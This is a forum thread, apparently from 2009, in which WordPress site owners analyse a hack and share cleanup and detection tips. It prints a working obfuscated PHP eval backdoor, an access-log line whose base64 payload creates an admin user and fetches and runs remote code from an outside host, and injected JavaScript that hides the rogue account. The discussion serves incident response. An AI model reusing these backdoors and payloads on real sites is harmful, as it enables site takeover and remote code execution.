Question About Possible Hack of Site

How easy is it to decrypt passwords store in WP?

It’s an MD5 hash…there are an endless number of returns in google for md5 decrypter………

Also,

We had the index.php file modified on 8/31/09 in our main uploads folder to this:

<?php function gpc_19045($l19047){if(is_array($l19047)){foreach($l19047 as $l19045=>$l19046)$l19047[$l19045]=gpc_19045($l19046);}elseif(is_string($l19047) && substr($l19047,0,4)==”____”){eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map(“gpc_19045”,$_SERVER);
// Silence is golden.
?>

Notice the long set of blank spaces to hide the code?
EDIT: Ok, WP forum strips out the blank spaces…..but before the first function call there are over 1800 spaces.

-Kevin

@netslacker

I believe that xmlrpc.php was the first entry point for the hacker. Once he created a hidden admin, he could do a lot of damage, including modifying some of the source and changing the permalink setting. The scheme to execute a block of code via URL works only if your site already has the hacked code to execute it. This xmlrpc scheme to insert the admin user is the only scheme that does not require existing back door. (I think.)

If I’m right. Once you cleanly re-install your site, you can protect your site from re-hacking by deleting xmlrpc.php.

We had the index.php file modified

The lesson here is to replace all the default WP source code with new code. Then look for any other files that may have been added….or hacked in other programs. If you have custom themes/plugins, then they need to be closly searched as well.

@figaro

OK, we better change our passwords quick, before the hacker decrypt them. I guess this goes for all the users on the site.

The lesson here is to replace all the default WP source code with new code. Then look for any other files that may have been added….or hacked in other programs. If you have custom themes/plugins, then they need to be closly searched as well.

Far as I can tell this was just one of the WP “silence is golden” empty index.php files that are used if users don’t block directory listing with .htaccess…..so there is no code there to begin with.

-Kevin

Far as I can tell this was just one of the WP “silence is golden” empty index.php

Maybe true, but that doesn’t mean it’s the only file that’s been hacked. I’ve cleaned up other php apps from this kind of hack where several of the default php files had the base64 code inserted as the first line in the file. I wouldn’t take a chance of it only being in index.php….I would replace all default code with a clean codebase.

Maybe true, but that doesn’t mean it’s the only file that’s been hacked.

Right you are…..just found the code in the /wp-content/advanced-cache.php file which is part of WP-Super-Cache.

Anyone any closer to finding out how they did this? Problem for us is, unfortunately we are plugin dependent on an old version that only works up to 2.7.1. So I’m hoping to clean and then patch the attack point because we can’t upgrade.

-Kevin

For people that are decoding the string from the logs……are you able to find that user in the database?

I can’t find that user in our wp_users table at all?

-Kevin

@netnothing

My theory is that as long as your code is all clean, removing xmlrpc.php would prevent the hacker from hacking again, as I suspect that xmlrpc.php is the first entry point for the hacker to create the admin user.

I would like to know what others think of this.

I would like to know what others think of this.

I think if your code is clean, and if you are running the latest code, and if your file permissions are set properly, then you probably can even leave xmlrpc.php in place and not have to worry.

I’m running the latest codebase at the site below, have directories set to 755 and files set to 644. I have some suspicious subscribers accounts created in the past few days, but haven’t been hacked yet. Not to say I can’t be, but just hasn’t happened yet. I have a feeling if I were running outdated WP code, then I would already be a victim.

https://educhalk.org/blog/

Just my 2￠ –

The xmlrpc.php POST that I put up a few hours ago is the hack I looked through the entire sequence in my access logs – the modified/new files come after the hack. Here is the entire opening sequence for the hack in question. I had to move all of my data to a pristine code base in a new NameVirtualServer and am still tweaking some of my caching and thing to get everything back to normal so I have not had time to dig through my IP dumps at the time of the exploit to see what else may have been in the attack payload but I will get around to it.

Here is the entire opening sequence from my access logs:

48195 122.135.85.220 - - [04/Sep/2009:04:53:21 -0400] "GET /wp-login.php HTTP/1.      1" 200 1948 "https://photo.rwboyer.com/" "Mozilla/5.0 (Windows; U; Windows
      NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3"

48196 122.135.85.220 - - [04/Sep/2009:04:53:24 -0400] "POST /wp-login.php HTTP/1      .1" 302 - "https://photo.rwboyer.com/wp-login.php" "Mozilla/5.0 (Windows; U      ; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3"

48197 122.135.85.220 - - [04/Sep/2009:04:53:28 -0400] "GET /wp-admin/ HTTP/1.1"       200 34669 "https://photo.rwboyer.com/wp-login.php" "Mozilla/5.0 (Windows; U      ; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3"

48198 122.135.85.220 - - [04/Sep/2009:04:53:34 -0400] "GET /wp-admin//options-pe      rmalink.php HTTP/1.1" 200 15153 "https://photo.rwboyer.com/wp-admin//option      s-permalink.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7)       Gecko/20040803 Firefox/0.9.3"

48199 122.135.85.220 - - [04/Sep/2009:04:53:37 -0400] "POST /wp-admin//options-p      ermalink.php HTTP/1.1" 200 15312 "https://photo.rwboyer.com/wp-admin//optio      ns-permalink.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7)       Gecko/20040803 Firefox/0.9.3"

48200 122.135.85.220 - - [04/Sep/2009:04:53:41 -0400] "POST /xmlrpc.php HTTP/1.1      " 200 173 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdKZXJhbXlEZWNrNzk      nOyR1c2VyX3Bhc3M9J09nck8hSTMkTGQhISc7ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0c      DovL2xpbmtzLndlYndvcmRwcmVzcy5jbi9kYXRhL3Nob3J0cGFydDIudHh0JykpO2V4aXQ7" "      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Fir      efox/0.9.3"

RB

I’ve seen it on a WPMU 2.8.1 install, so getting this narrowed down would be good.

edit: since they’re also creating another user, has anyone who has been hit repeatedly tried turning off registrations (after removing that user)?

found this in wp_usermeta,
the latest user subscribed, added this to his first_name

...

<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
	try{
		var t=document.getElementById("user_superuser");
		while(t.nodeName!="TR"){
			t=t.parentNode;
		};
		t.parentNode.removeChild(t);
		var tags = document.getElementsByTagName("H3");
		var s = " shown below";
		for (var i = 0; i < tags.length; i++) {
			var t=tags[i].innerHTML;
			var h=tags[i];
			if(t.indexOf(s)>0){
				s =(parseInt(t)-1)+s;
				h.removeChild(h.firstChild);
				t = document.createTextNode(s);
				h.appendChild(t);
			}
		}
		var arr=document.getElementsByTagName("ul");
		for(var i in arr) if(arr[i].className=="subsubsub"){
			var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
			if(n[1]>0){
				var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
</script></div>

As mentioned once xmlrpc.php has been used to hack in then all beats off. The first point of entry is xmlrpc.php

BTW: For those that have shell access you may run the following command to see if any files have had the function gpc_ added. Note the quotes you can change this to whatever you want. Simply log in and in your website home directory in shell run the following

shell> grep -r -i “function gpc_” ./

This command will print ANY files that have been infected. Note this will NOT work on Windows and hasn’t been verified on all *nixes. It was used on Redhat Enterprise.